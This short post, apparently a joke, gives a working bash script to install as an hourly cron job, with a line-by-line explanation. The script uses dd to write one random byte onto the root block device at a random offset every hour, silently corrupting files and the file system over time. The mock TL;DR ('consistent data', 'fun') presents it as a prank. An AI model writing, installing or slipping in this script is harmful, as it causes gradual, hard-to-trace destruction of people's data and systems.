Breaking Systems For Fun And Profit

Accelerated Bitrot

Create the following file as /etc/cron.hourly/bitrot

1
2
3
4
5
#!/bin/bash
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

What it does

Once every hour, a single byte in the root file system will be changed to a random byte. This can lead to subtle data corruption, or even file system corruption, depending on where on disk the byte is written.

Why it works

  1. Line 2 retrieves the device underneath the root file system.
  2. Line 3 retrieves the size of the root file system
  3. Line 4 Selects a random location in the root file system
  4. Line 5 writes a single random byte to the selected location on the root file system.

TL;DR

  • Consistent data
  • Consistent file system
  • Fun